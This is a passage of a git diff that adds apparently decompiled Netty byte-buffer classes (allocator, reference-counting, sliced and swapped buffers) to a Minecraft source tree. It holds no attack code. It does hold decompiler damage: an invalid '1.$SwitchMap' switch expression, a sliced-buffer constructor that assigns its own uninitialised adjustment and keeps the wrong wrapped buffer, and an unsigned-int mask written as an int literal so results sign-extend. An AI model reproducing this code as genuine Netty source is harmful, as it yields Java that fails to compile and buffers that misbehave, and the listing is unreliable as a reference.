+    ByteBuf unwrapped = unwrap();
+    if (unwrapped != null) {
+      buf.append(", unwrapped: ");
+      buf.append(unwrapped);
+    }
+    buf.append(')');
+    return buf.toString();
+  }
+  
+  protected final void checkIndex(int index) {
+    ensureAccessible();
+    if ((index < 0) || (index >= capacity())) {
+      throw new IndexOutOfBoundsException(String.format("index: %d (expected: range(0, %d))", new Object[] { Integer.valueOf(index), Integer.valueOf(capacity()) }));
+    }
+  }
+  
+  protected final void checkIndex(int index, int fieldLength)
+  {
+    ensureAccessible();
+    if (fieldLength < 0) {
+      throw new IllegalArgumentException("length: " + fieldLength + " (expected: >= 0)");
+    }
+    if ((index < 0) || (index > capacity() - fieldLength)) {
+      throw new IndexOutOfBoundsException(String.format("index: %d, length: %d (expected: range(0, %d))", new Object[] { Integer.valueOf(index), Integer.valueOf(fieldLength), Integer.valueOf(capacity()) }));
+    }
+  }
+  
+  protected final void checkSrcIndex(int index, int length, int srcIndex, int srcCapacity)
+  {
+    checkIndex(index, length);
+    if ((srcIndex < 0) || (srcIndex > srcCapacity - length)) {
+      throw new IndexOutOfBoundsException(String.format("srcIndex: %d, length: %d (expected: range(0, %d))", new Object[] { Integer.valueOf(srcIndex), Integer.valueOf(length), Integer.valueOf(srcCapacity) }));
+    }
+  }
+  
+  protected final void checkDstIndex(int index, int length, int dstIndex, int dstCapacity)
+  {
+    checkIndex(index, length);
+    if ((dstIndex < 0) || (dstIndex > dstCapacity - length)) {
+      throw new IndexOutOfBoundsException(String.format("dstIndex: %d, length: %d (expected: range(0, %d))", new Object[] { Integer.valueOf(dstIndex), Integer.valueOf(length), Integer.valueOf(dstCapacity) }));
+    }
+  }
+  
+
+
+
+
+
+  protected final void checkReadableBytes(int minimumReadableBytes)
+  {
+    ensureAccessible();
+    if (minimumReadableBytes < 0) {
+      throw new IllegalArgumentException("minimumReadableBytes: " + minimumReadableBytes + " (expected: >= 0)");
+    }
+    if (readerIndex > writerIndex - minimumReadableBytes) {
+      throw new IndexOutOfBoundsException(String.format("readerIndex(%d) + length(%d) exceeds writerIndex(%d): %s", new Object[] { Integer.valueOf(readerIndex), Integer.valueOf(minimumReadableBytes), Integer.valueOf(writerIndex), this }));
+    }
+  }
+  
+
+
+
+
+
+  protected final void ensureAccessible()
+  {
+    if (refCnt() == 0) {
+      throw new IllegalReferenceCountException(0);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/AbstractByteBufAllocator.java b/src/minecraft/io/netty/buffer/AbstractByteBufAllocator.java
new file mode 100644
index 0000000..4414ba9
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/AbstractByteBufAllocator.java
@@ -0,0 +1,219 @@
+package io.netty.buffer;
+
+import io.netty.util.ResourceLeak;
+import io.netty.util.ResourceLeakDetector;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractByteBufAllocator
+  implements ByteBufAllocator
+{
+  private static final int DEFAULT_INITIAL_CAPACITY = 256;
+  private static final int DEFAULT_MAX_COMPONENTS = 16;
+  private final boolean directByDefault;
+  private final ByteBuf emptyBuf;
+  
+  protected static ByteBuf toLeakAwareBuffer(ByteBuf buf)
+  {
+    ResourceLeak leak;
+    switch (1.$SwitchMap$io$netty$util$ResourceLeakDetector$Level[ResourceLeakDetector.getLevel().ordinal()]) {
+    case 1: 
+      leak = AbstractByteBuf.leakDetector.open(buf);
+      if (leak != null) {
+        buf = new SimpleLeakAwareByteBuf(buf, leak);
+      }
+      break;
+    case 2: 
+    case 3: 
+      leak = AbstractByteBuf.leakDetector.open(buf);
+      if (leak != null) {
+        buf = new AdvancedLeakAwareByteBuf(buf, leak);
+      }
+      break;
+    }
+    return buf;
+  }
+  
+
+
+
+
+
+  protected AbstractByteBufAllocator()
+  {
+    this(false);
+  }
+  
+
+
+
+
+
+  protected AbstractByteBufAllocator(boolean preferDirect)
+  {
+    directByDefault = ((preferDirect) && (PlatformDependent.hasUnsafe()));
+    emptyBuf = new EmptyByteBuf(this);
+  }
+  
+  public ByteBuf buffer()
+  {
+    if (directByDefault) {
+      return directBuffer();
+    }
+    return heapBuffer();
+  }
+  
+  public ByteBuf buffer(int initialCapacity)
+  {
+    if (directByDefault) {
+      return directBuffer(initialCapacity);
+    }
+    return heapBuffer(initialCapacity);
+  }
+  
+  public ByteBuf buffer(int initialCapacity, int maxCapacity)
+  {
+    if (directByDefault) {
+      return directBuffer(initialCapacity, maxCapacity);
+    }
+    return heapBuffer(initialCapacity, maxCapacity);
+  }
+  
+  public ByteBuf ioBuffer()
+  {
+    if (PlatformDependent.hasUnsafe()) {
+      return directBuffer(256);
+    }
+    return heapBuffer(256);
+  }
+  
+  public ByteBuf ioBuffer(int initialCapacity)
+  {
+    if (PlatformDependent.hasUnsafe()) {
+      return directBuffer(initialCapacity);
+    }
+    return heapBuffer(initialCapacity);
+  }
+  
+  public ByteBuf ioBuffer(int initialCapacity, int maxCapacity)
+  {
+    if (PlatformDependent.hasUnsafe()) {
+      return directBuffer(initialCapacity, maxCapacity);
+    }
+    return heapBuffer(initialCapacity, maxCapacity);
+  }
+  
+  public ByteBuf heapBuffer()
+  {
+    return heapBuffer(256, Integer.MAX_VALUE);
+  }
+  
+  public ByteBuf heapBuffer(int initialCapacity)
+  {
+    return heapBuffer(initialCapacity, Integer.MAX_VALUE);
+  }
+  
+  public ByteBuf heapBuffer(int initialCapacity, int maxCapacity)
+  {
+    if ((initialCapacity == 0) && (maxCapacity == 0)) {
+      return emptyBuf;
+    }
+    validate(initialCapacity, maxCapacity);
+    return newHeapBuffer(initialCapacity, maxCapacity);
+  }
+  
+  public ByteBuf directBuffer()
+  {
+    return directBuffer(256, Integer.MAX_VALUE);
+  }
+  
+  public ByteBuf directBuffer(int initialCapacity)
+  {
+    return directBuffer(initialCapacity, Integer.MAX_VALUE);
+  }
+  
+  public ByteBuf directBuffer(int initialCapacity, int maxCapacity)
+  {
+    if ((initialCapacity == 0) && (maxCapacity == 0)) {
+      return emptyBuf;
+    }
+    validate(initialCapacity, maxCapacity);
+    return newDirectBuffer(initialCapacity, maxCapacity);
+  }
+  
+  public CompositeByteBuf compositeBuffer()
+  {
+    if (directByDefault) {
+      return compositeDirectBuffer();
+    }
+    return compositeHeapBuffer();
+  }
+  
+  public CompositeByteBuf compositeBuffer(int maxNumComponents)
+  {
+    if (directByDefault) {
+      return compositeDirectBuffer(maxNumComponents);
+    }
+    return compositeHeapBuffer(maxNumComponents);
+  }
+  
+  public CompositeByteBuf compositeHeapBuffer()
+  {
+    return compositeHeapBuffer(16);
+  }
+  
+  public CompositeByteBuf compositeHeapBuffer(int maxNumComponents)
+  {
+    return new CompositeByteBuf(this, false, maxNumComponents);
+  }
+  
+  public CompositeByteBuf compositeDirectBuffer()
+  {
+    return compositeDirectBuffer(16);
+  }
+  
+  public CompositeByteBuf compositeDirectBuffer(int maxNumComponents)
+  {
+    return new CompositeByteBuf(this, true, maxNumComponents);
+  }
+  
+  private static void validate(int initialCapacity, int maxCapacity) {
+    if (initialCapacity < 0) {
+      throw new IllegalArgumentException("initialCapacity: " + initialCapacity + " (expectd: 0+)");
+    }
+    if (initialCapacity > maxCapacity) {
+      throw new IllegalArgumentException(String.format("initialCapacity: %d (expected: not greater than maxCapacity(%d)", new Object[] { Integer.valueOf(initialCapacity), Integer.valueOf(maxCapacity) }));
+    }
+  }
+  
+
+
+
+  protected abstract ByteBuf newHeapBuffer(int paramInt1, int paramInt2);
+  
+
+
+
+  protected abstract ByteBuf newDirectBuffer(int paramInt1, int paramInt2);
+  
+
+
+  public String toString()
+  {
+    return StringUtil.simpleClassName(this) + "(directByDefault: " + directByDefault + ')';
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/AbstractDerivedByteBuf.java b/src/minecraft/io/netty/buffer/AbstractDerivedByteBuf.java
new file mode 100644
index 0000000..db3dcce
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/AbstractDerivedByteBuf.java
@@ -0,0 +1,67 @@
+package io.netty.buffer;
+
+import java.nio.ByteBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractDerivedByteBuf
+  extends AbstractByteBuf
+{
+  protected AbstractDerivedByteBuf(int maxCapacity)
+  {
+    super(maxCapacity);
+  }
+  
+  public final int refCnt()
+  {
+    return unwrap().refCnt();
+  }
+  
+  public final ByteBuf retain()
+  {
+    unwrap().retain();
+    return this;
+  }
+  
+  public final ByteBuf retain(int increment)
+  {
+    unwrap().retain(increment);
+    return this;
+  }
+  
+  public final boolean release()
+  {
+    return unwrap().release();
+  }
+  
+  public final boolean release(int decrement)
+  {
+    return unwrap().release(decrement);
+  }
+  
+  public ByteBuffer internalNioBuffer(int index, int length)
+  {
+    return nioBuffer(index, length);
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    return unwrap().nioBuffer(index, length);
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/AbstractPooledDerivedByteBuf.java b/src/minecraft/io/netty/buffer/AbstractPooledDerivedByteBuf.java
new file mode 100644
index 0000000..1c660e2
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/AbstractPooledDerivedByteBuf.java
@@ -0,0 +1,127 @@
+package io.netty.buffer;
+
+import io.netty.util.Recycler.Handle;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class AbstractPooledDerivedByteBuf
+  extends AbstractReferenceCountedByteBuf
+{
+  private final Recycler.Handle<AbstractPooledDerivedByteBuf> recyclerHandle;
+  private AbstractByteBuf buffer;
+  
+  AbstractPooledDerivedByteBuf(Recycler.Handle<? extends AbstractPooledDerivedByteBuf> recyclerHandle)
+  {
+    super(0);
+    this.recyclerHandle = recyclerHandle;
+  }
+  
+  public final AbstractByteBuf unwrap()
+  {
+    return buffer;
+  }
+  
+
+  final <U extends AbstractPooledDerivedByteBuf> U init(AbstractByteBuf unwrapped, ByteBuf wrapped, int readerIndex, int writerIndex, int maxCapacity)
+  {
+    wrapped.retain();
+    buffer = unwrapped;
+    try
+    {
+      maxCapacity(maxCapacity);
+      setIndex0(readerIndex, writerIndex);
+      setRefCnt(1);
+      
+
+      U castThis = this;
+      wrapped = null;
+      return castThis;
+    } finally {
+      if (wrapped != null) {
+        buffer = null;
+        wrapped.release();
+      }
+    }
+  }
+  
+
+
+
+  protected final void deallocate()
+  {
+    ByteBuf wrapped = unwrap();
+    recyclerHandle.recycle(this);
+    wrapped.release();
+  }
+  
+  public final ByteBufAllocator alloc()
+  {
+    return unwrap().alloc();
+  }
+  
+  @Deprecated
+  public final ByteOrder order()
+  {
+    return unwrap().order();
+  }
+  
+  public boolean isReadOnly()
+  {
+    return unwrap().isReadOnly();
+  }
+  
+  public final boolean isDirect()
+  {
+    return unwrap().isDirect();
+  }
+  
+  public boolean hasArray()
+  {
+    return unwrap().hasArray();
+  }
+  
+  public byte[] array()
+  {
+    return unwrap().array();
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return unwrap().hasMemoryAddress();
+  }
+  
+  public final int nioBufferCount()
+  {
+    return unwrap().nioBufferCount();
+  }
+  
+  public final ByteBuffer internalNioBuffer(int index, int length)
+  {
+    return nioBuffer(index, length);
+  }
+  
+  public final ByteBuf retainedSlice()
+  {
+    int index = readerIndex();
+    return retainedSlice(index, writerIndex() - index);
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/AbstractReferenceCountedByteBuf.java b/src/minecraft/io/netty/buffer/AbstractReferenceCountedByteBuf.java
new file mode 100644
index 0000000..96b6aba
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/AbstractReferenceCountedByteBuf.java
@@ -0,0 +1,137 @@
+package io.netty.buffer;
+
+import io.netty.util.IllegalReferenceCountException;
+import io.netty.util.internal.PlatformDependent;
+import java.util.concurrent.atomic.AtomicIntegerFieldUpdater;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class AbstractReferenceCountedByteBuf
+  extends AbstractByteBuf
+{
+  private static final AtomicIntegerFieldUpdater<AbstractReferenceCountedByteBuf> refCntUpdater;
+  
+  static
+  {
+    AtomicIntegerFieldUpdater<AbstractReferenceCountedByteBuf> updater = PlatformDependent.newAtomicIntegerFieldUpdater(AbstractReferenceCountedByteBuf.class, "refCnt");
+    
+    if (updater == null) {
+      updater = AtomicIntegerFieldUpdater.newUpdater(AbstractReferenceCountedByteBuf.class, "refCnt");
+    }
+    refCntUpdater = updater;
+  }
+  
+  private volatile int refCnt = 1;
+  
+  protected AbstractReferenceCountedByteBuf(int maxCapacity) {
+    super(maxCapacity);
+  }
+  
+  public final int refCnt()
+  {
+    return refCnt;
+  }
+  
+
+
+  protected final void setRefCnt(int refCnt)
+  {
+    this.refCnt = refCnt;
+  }
+  
+  public ByteBuf retain()
+  {
+    for (;;) {
+      int refCnt = this.refCnt;
+      if (refCnt == 0) {
+        throw new IllegalReferenceCountException(0, 1);
+      }
+      if (refCnt == Integer.MAX_VALUE) {
+        throw new IllegalReferenceCountException(Integer.MAX_VALUE, 1);
+      }
+      if (refCntUpdater.compareAndSet(this, refCnt, refCnt + 1)) {
+        break;
+      }
+    }
+    return this;
+  }
+  
+  public ByteBuf retain(int increment)
+  {
+    if (increment <= 0) {
+      throw new IllegalArgumentException("increment: " + increment + " (expected: > 0)");
+    }
+    for (;;)
+    {
+      int refCnt = this.refCnt;
+      if (refCnt == 0) {
+        throw new IllegalReferenceCountException(0, increment);
+      }
+      if (refCnt > Integer.MAX_VALUE - increment) {
+        throw new IllegalReferenceCountException(refCnt, increment);
+      }
+      if (refCntUpdater.compareAndSet(this, refCnt, refCnt + increment)) {
+        break;
+      }
+    }
+    return this;
+  }
+  
+  public final boolean release()
+  {
+    for (;;) {
+      int refCnt = this.refCnt;
+      if (refCnt == 0) {
+        throw new IllegalReferenceCountException(0, -1);
+      }
+      
+      if (refCntUpdater.compareAndSet(this, refCnt, refCnt - 1)) {
+        if (refCnt == 1) {
+          deallocate();
+          return true;
+        }
+        return false;
+      }
+    }
+  }
+  
+  public final boolean release(int decrement)
+  {
+    if (decrement <= 0) {
+      throw new IllegalArgumentException("decrement: " + decrement + " (expected: > 0)");
+    }
+    for (;;)
+    {
+      int refCnt = this.refCnt;
+      if (refCnt < decrement) {
+        throw new IllegalReferenceCountException(refCnt, -decrement);
+      }
+      
+      if (refCntUpdater.compareAndSet(this, refCnt, refCnt - decrement)) {
+        if (refCnt == decrement) {
+          deallocate();
+          return true;
+        }
+        return false;
+      }
+    }
+  }
+  
+  protected abstract void deallocate();
+}
diff --git a/src/minecraft/io/netty/buffer/AbstractUnpooledSlicedByteBuf.java b/src/minecraft/io/netty/buffer/AbstractUnpooledSlicedByteBuf.java
new file mode 100644
index 0000000..47e33be
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/AbstractUnpooledSlicedByteBuf.java
@@ -0,0 +1,497 @@
+package io.netty.buffer;
+
+import io.netty.util.ByteProcessor;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.MathUtil;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.nio.channels.FileChannel;
+import java.nio.channels.GatheringByteChannel;
+import java.nio.channels.ScatteringByteChannel;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class AbstractUnpooledSlicedByteBuf
+  extends AbstractDerivedByteBuf
+{
+  private final ByteBuf buffer;
+  private final int adjustment;
+  
+  AbstractUnpooledSlicedByteBuf(ByteBuf buffer, int index, int length)
+  {
+    super(length);
+    checkSliceOutOfBounds(index, length, buffer);
+    
+    if ((buffer instanceof AbstractUnpooledSlicedByteBuf)) {
+      this.buffer = buffer;
+      adjustment = (adjustment + index);
+    } else if ((buffer instanceof DuplicatedByteBuf)) {
+      this.buffer = buffer.unwrap();
+      adjustment = index;
+    } else {
+      this.buffer = buffer;
+      adjustment = index;
+    }
+    
+    initLength(length);
+    writerIndex(length);
+  }
+  
+
+
+  void initLength(int length) {}
+  
+
+
+  int length()
+  {
+    return capacity();
+  }
+  
+  public ByteBuf unwrap()
+  {
+    return buffer;
+  }
+  
+  public ByteBufAllocator alloc()
+  {
+    return unwrap().alloc();
+  }
+  
+  @Deprecated
+  public ByteOrder order()
+  {
+    return unwrap().order();
+  }
+  
+  public boolean isDirect()
+  {
+    return unwrap().isDirect();
+  }
+  
+  public ByteBuf capacity(int newCapacity)
+  {
+    throw new UnsupportedOperationException("sliced buffer");
+  }
+  
+  public boolean hasArray()
+  {
+    return unwrap().hasArray();
+  }
+  
+  public byte[] array()
+  {
+    return unwrap().array();
+  }
+  
+  public int arrayOffset()
+  {
+    return idx(unwrap().arrayOffset());
+  }
+  
+  public boolean hasMemoryAddress()
+  {
+    return unwrap().hasMemoryAddress();
+  }
+  
+  public long memoryAddress()
+  {
+    return unwrap().memoryAddress() + adjustment;
+  }
+  
+  public byte getByte(int index)
+  {
+    checkIndex0(index, 1);
+    return unwrap().getByte(idx(index));
+  }
+  
+  protected byte _getByte(int index)
+  {
+    return unwrap().getByte(idx(index));
+  }
+  
+  public short getShort(int index)
+  {
+    checkIndex0(index, 2);
+    return unwrap().getShort(idx(index));
+  }
+  
+  protected short _getShort(int index)
+  {
+    return unwrap().getShort(idx(index));
+  }
+  
+  public short getShortLE(int index)
+  {
+    checkIndex0(index, 2);
+    return unwrap().getShortLE(idx(index));
+  }
+  
+  protected short _getShortLE(int index)
+  {
+    return unwrap().getShortLE(idx(index));
+  }
+  
+  public int getUnsignedMedium(int index)
+  {
+    checkIndex0(index, 3);
+    return unwrap().getUnsignedMedium(idx(index));
+  }
+  
+  protected int _getUnsignedMedium(int index)
+  {
+    return unwrap().getUnsignedMedium(idx(index));
+  }
+  
+  public int getUnsignedMediumLE(int index)
+  {
+    checkIndex0(index, 3);
+    return unwrap().getUnsignedMediumLE(idx(index));
+  }
+  
+  protected int _getUnsignedMediumLE(int index)
+  {
+    return unwrap().getUnsignedMediumLE(idx(index));
+  }
+  
+  public int getInt(int index)
+  {
+    checkIndex0(index, 4);
+    return unwrap().getInt(idx(index));
+  }
+  
+  protected int _getInt(int index)
+  {
+    return unwrap().getInt(idx(index));
+  }
+  
+  public int getIntLE(int index)
+  {
+    checkIndex0(index, 4);
+    return unwrap().getIntLE(idx(index));
+  }
+  
+  protected int _getIntLE(int index)
+  {
+    return unwrap().getIntLE(idx(index));
+  }
+  
+  public long getLong(int index)
+  {
+    checkIndex0(index, 8);
+    return unwrap().getLong(idx(index));
+  }
+  
+  protected long _getLong(int index)
+  {
+    return unwrap().getLong(idx(index));
+  }
+  
+  public long getLongLE(int index)
+  {
+    checkIndex0(index, 8);
+    return unwrap().getLongLE(idx(index));
+  }
+  
+  protected long _getLongLE(int index)
+  {
+    return unwrap().getLongLE(idx(index));
+  }
+  
+  public ByteBuf duplicate()
+  {
+    ByteBuf duplicate = unwrap().slice(adjustment, length());
+    duplicate.setIndex(readerIndex(), writerIndex());
+    return duplicate;
+  }
+  
+  public ByteBuf copy(int index, int length)
+  {
+    checkIndex0(index, length);
+    return unwrap().copy(idx(index), length);
+  }
+  
+  public ByteBuf slice(int index, int length)
+  {
+    checkIndex0(index, length);
+    return unwrap().slice(idx(index), length);
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuf dst, int dstIndex, int length)
+  {
+    checkIndex0(index, length);
+    unwrap().getBytes(idx(index), dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, byte[] dst, int dstIndex, int length)
+  {
+    checkIndex0(index, length);
+    unwrap().getBytes(idx(index), dst, dstIndex, length);
+    return this;
+  }
+  
+  public ByteBuf getBytes(int index, ByteBuffer dst)
+  {
+    checkIndex0(index, dst.remaining());
+    unwrap().getBytes(idx(index), dst);
+    return this;
+  }
+  
+  public ByteBuf setByte(int index, int value)
+  {
+    checkIndex0(index, 1);
+    unwrap().setByte(idx(index), value);
+    return this;
+  }
+  
+  public CharSequence getCharSequence(int index, int length, Charset charset)
+  {
+    checkIndex0(index, length);
+    return buffer.getCharSequence(idx(index), length, charset);
+  }
+  
+  protected void _setByte(int index, int value)
+  {
+    unwrap().setByte(idx(index), value);
+  }
+  
+  public ByteBuf setShort(int index, int value)
+  {
+    checkIndex0(index, 2);
+    unwrap().setShort(idx(index), value);
+    return this;
+  }
+  
+  protected void _setShort(int index, int value)
+  {
+    unwrap().setShort(idx(index), value);
+  }
+  
+  public ByteBuf setShortLE(int index, int value)
+  {
+    checkIndex0(index, 2);
+    unwrap().setShortLE(idx(index), value);
+    return this;
+  }
+  
+  protected void _setShortLE(int index, int value)
+  {
+    unwrap().setShortLE(idx(index), value);
+  }
+  
+  public ByteBuf setMedium(int index, int value)
+  {
+    checkIndex0(index, 3);
+    unwrap().setMedium(idx(index), value);
+    return this;
+  }
+  
+  protected void _setMedium(int index, int value)
+  {
+    unwrap().setMedium(idx(index), value);
+  }
+  
+  public ByteBuf setMediumLE(int index, int value)
+  {
+    checkIndex0(index, 3);
+    unwrap().setMediumLE(idx(index), value);
+    return this;
+  }
+  
+  protected void _setMediumLE(int index, int value)
+  {
+    unwrap().setMediumLE(idx(index), value);
+  }
+  
+  public ByteBuf setInt(int index, int value)
+  {
+    checkIndex0(index, 4);
+    unwrap().setInt(idx(index), value);
+    return this;
+  }
+  
+  protected void _setInt(int index, int value)
+  {
+    unwrap().setInt(idx(index), value);
+  }
+  
+  public ByteBuf setIntLE(int index, int value)
+  {
+    checkIndex0(index, 4);
+    unwrap().setIntLE(idx(index), value);
+    return this;
+  }
+  
+  protected void _setIntLE(int index, int value)
+  {
+    unwrap().setIntLE(idx(index), value);
+  }
+  
+  public ByteBuf setLong(int index, long value)
+  {
+    checkIndex0(index, 8);
+    unwrap().setLong(idx(index), value);
+    return this;
+  }
+  
+  protected void _setLong(int index, long value)
+  {
+    unwrap().setLong(idx(index), value);
+  }
+  
+  public ByteBuf setLongLE(int index, long value)
+  {
+    checkIndex0(index, 8);
+    unwrap().setLongLE(idx(index), value);
+    return this;
+  }
+  
+  protected void _setLongLE(int index, long value)
+  {
+    unwrap().setLongLE(idx(index), value);
+  }
+  
+  public ByteBuf setBytes(int index, byte[] src, int srcIndex, int length)
+  {
+    checkIndex0(index, length);
+    unwrap().setBytes(idx(index), src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuf src, int srcIndex, int length)
+  {
+    checkIndex0(index, length);
+    unwrap().setBytes(idx(index), src, srcIndex, length);
+    return this;
+  }
+  
+  public ByteBuf setBytes(int index, ByteBuffer src)
+  {
+    checkIndex0(index, src.remaining());
+    unwrap().setBytes(idx(index), src);
+    return this;
+  }
+  
+  public int setCharSequence(int index, CharSequence sequence, Charset charset)
+  {
+    if (charset.equals(CharsetUtil.UTF_8)) {
+      checkIndex0(index, ByteBufUtil.utf8MaxBytes(sequence));
+      return ByteBufUtil.writeUtf8(this, idx(index), sequence, sequence.length());
+    }
+    if (charset.equals(CharsetUtil.US_ASCII)) {
+      int len = sequence.length();
+      checkIndex0(index, len);
+      return ByteBufUtil.writeAscii(this, idx(index), sequence, len);
+    }
+    byte[] bytes = sequence.toString().getBytes(charset);
+    checkIndex0(index, bytes.length);
+    buffer.setBytes(idx(index), bytes);
+    return bytes.length;
+  }
+  
+  public ByteBuf getBytes(int index, OutputStream out, int length) throws IOException
+  {
+    checkIndex0(index, length);
+    unwrap().getBytes(idx(index), out, length);
+    return this;
+  }
+  
+  public int getBytes(int index, GatheringByteChannel out, int length) throws IOException
+  {
+    checkIndex0(index, length);
+    return unwrap().getBytes(idx(index), out, length);
+  }
+  
+  public int getBytes(int index, FileChannel out, long position, int length) throws IOException
+  {
+    checkIndex0(index, length);
+    return unwrap().getBytes(idx(index), out, position, length);
+  }
+  
+  public int setBytes(int index, InputStream in, int length) throws IOException
+  {
+    checkIndex0(index, length);
+    return unwrap().setBytes(idx(index), in, length);
+  }
+  
+  public int setBytes(int index, ScatteringByteChannel in, int length) throws IOException
+  {
+    checkIndex0(index, length);
+    return unwrap().setBytes(idx(index), in, length);
+  }
+  
+  public int setBytes(int index, FileChannel in, long position, int length) throws IOException
+  {
+    checkIndex0(index, length);
+    return unwrap().setBytes(idx(index), in, position, length);
+  }
+  
+  public int nioBufferCount()
+  {
+    return unwrap().nioBufferCount();
+  }
+  
+  public ByteBuffer nioBuffer(int index, int length)
+  {
+    checkIndex0(index, length);
+    return unwrap().nioBuffer(idx(index), length);
+  }
+  
+  public ByteBuffer[] nioBuffers(int index, int length)
+  {
+    checkIndex0(index, length);
+    return unwrap().nioBuffers(idx(index), length);
+  }
+  
+  public int forEachByte(int index, int length, ByteProcessor processor)
+  {
+    checkIndex0(index, length);
+    int ret = unwrap().forEachByte(idx(index), length, processor);
+    if (ret >= adjustment) {
+      return ret - adjustment;
+    }
+    return -1;
+  }
+  
+
+  public int forEachByteDesc(int index, int length, ByteProcessor processor)
+  {
+    checkIndex0(index, length);
+    int ret = unwrap().forEachByteDesc(idx(index), length, processor);
+    if (ret >= adjustment) {
+      return ret - adjustment;
+    }
+    return -1;
+  }
+  
+
+
+
+  final int idx(int index)
+  {
+    return index + adjustment;
+  }
+  
+  static void checkSliceOutOfBounds(int index, int length, ByteBuf buffer) {
+    if (MathUtil.isOutOfBounds(index, length, buffer.capacity())) {
+      throw new IndexOutOfBoundsException(buffer + ".slice(" + index + ", " + length + ')');
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/AbstractUnsafeSwappedByteBuf.java b/src/minecraft/io/netty/buffer/AbstractUnsafeSwappedByteBuf.java
new file mode 100644
index 0000000..c82e2e0
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/AbstractUnsafeSwappedByteBuf.java
@@ -0,0 +1,176 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.PlatformDependent;
+import java.nio.ByteOrder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class AbstractUnsafeSwappedByteBuf
+  extends SwappedByteBuf
+{
+  private final boolean nativeByteOrder;
+  private final AbstractByteBuf wrapped;
+  
+  AbstractUnsafeSwappedByteBuf(AbstractByteBuf buf)
+  {
+    super(buf);
+    assert (PlatformDependent.isUnaligned());
+    wrapped = buf;
+    nativeByteOrder = (PlatformDependent.BIG_ENDIAN_NATIVE_ORDER == (order() == ByteOrder.BIG_ENDIAN));
+  }
+  
+  public final long getLong(int index)
+  {
+    wrapped.checkIndex(index, 8);
+    long v = _getLong(wrapped, index);
+    return nativeByteOrder ? v : Long.reverseBytes(v);
+  }
+  
+  public final float getFloat(int index)
+  {
+    return Float.intBitsToFloat(getInt(index));
+  }
+  
+  public final double getDouble(int index)
+  {
+    return Double.longBitsToDouble(getLong(index));
+  }
+  
+  public final char getChar(int index)
+  {
+    return (char)getShort(index);
+  }
+  
+  public final long getUnsignedInt(int index)
+  {
+    return getInt(index) & 0xFFFFFFFF;
+  }
+  
+  public final int getInt(int index)
+  {
+    wrapped.checkIndex0(index, 4);
+    int v = _getInt(wrapped, index);
+    return nativeByteOrder ? v : Integer.reverseBytes(v);
+  }
+  
+  public final int getUnsignedShort(int index)
+  {
+    return getShort(index) & 0xFFFF;
+  }
+  
+  public final short getShort(int index)
+  {
+    wrapped.checkIndex0(index, 2);
+    short v = _getShort(wrapped, index);
+    return nativeByteOrder ? v : Short.reverseBytes(v);
+  }
+  
+  public final ByteBuf setShort(int index, int value)
+  {
+    wrapped.checkIndex0(index, 2);
+    _setShort(wrapped, index, nativeByteOrder ? (short)value : Short.reverseBytes((short)value));
+    return this;
+  }
+  
+  public final ByteBuf setInt(int index, int value)
+  {
+    wrapped.checkIndex0(index, 4);
+    _setInt(wrapped, index, nativeByteOrder ? value : Integer.reverseBytes(value));
+    return this;
+  }
+  
+  public final ByteBuf setLong(int index, long value)
+  {
+    wrapped.checkIndex(index, 8);
+    _setLong(wrapped, index, nativeByteOrder ? value : Long.reverseBytes(value));
+    return this;
+  }
+  
+  public final ByteBuf setChar(int index, int value)
+  {
+    setShort(index, value);
+    return this;
+  }
+  
+  public final ByteBuf setFloat(int index, float value)
+  {
+    setInt(index, Float.floatToRawIntBits(value));
+    return this;
+  }
+  
+  public final ByteBuf setDouble(int index, double value)
+  {
+    setLong(index, Double.doubleToRawLongBits(value));
+    return this;
+  }
+  
+  public final ByteBuf writeShort(int value)
+  {
+    wrapped.ensureWritable(2);
+    _setShort(wrapped, wrapped.writerIndex, nativeByteOrder ? (short)value : Short.reverseBytes((short)value));
+    wrapped.writerIndex += 2;
+    return this;
+  }
+  
+  public final ByteBuf writeInt(int value)
+  {
+    wrapped.ensureWritable(4);
+    _setInt(wrapped, wrapped.writerIndex, nativeByteOrder ? value : Integer.reverseBytes(value));
+    wrapped.writerIndex += 4;
+    return this;
+  }
+  
+  public final ByteBuf writeLong(long value)
+  {
+    wrapped.ensureWritable(8);
+    _setLong(wrapped, wrapped.writerIndex, nativeByteOrder ? value : Long.reverseBytes(value));
+    wrapped.writerIndex += 8;
+    return this;
+  }
+  
+  public final ByteBuf writeChar(int value)
+  {
+    writeShort(value);
+    return this;
+  }
+  
+  public final ByteBuf writeFloat(float value)
+  {
+    writeInt(Float.floatToRawIntBits(value));
+    return this;
+  }
+  
+  public final ByteBuf writeDouble(double value)
+  {
+    writeLong(Double.doubleToRawLongBits(value));
+    return this;
+  }
+  
+  protected abstract short _getShort(AbstractByteBuf paramAbstractByteBuf, int paramInt);
+  
+  protected abstract int _getInt(AbstractByteBuf paramAbstractByteBuf, int paramInt);
+  
